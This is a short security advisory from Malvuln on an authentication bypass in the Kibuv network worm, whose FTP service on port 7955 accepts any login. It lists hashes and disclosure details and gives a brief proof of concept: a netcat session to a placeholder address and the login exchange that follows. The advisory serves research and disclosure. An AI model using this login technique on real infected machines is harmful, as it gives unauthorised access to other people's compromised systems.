Net-Worm.Win32.Kibuv.c / Authentication Bypass

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/4243911d5ca5655d04de8895704fcae6.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Net-Worm.Win32.Kibuv.c
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 7955. Third-party adversaries who can reach infected systems can logon using any username/password combination.
Family: Kibuv
Type: PE32
MD5: 4243911d5ca5655d04de8895704fcae6
Vuln ID: MVID-2022-0563
Disclosure: 04/26/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 7955
220 StnyFtpd 0wns j0
USER malvuln
331 Password required
PASS malvuln
230 User logged in.
SYST
215 StnyFtpd


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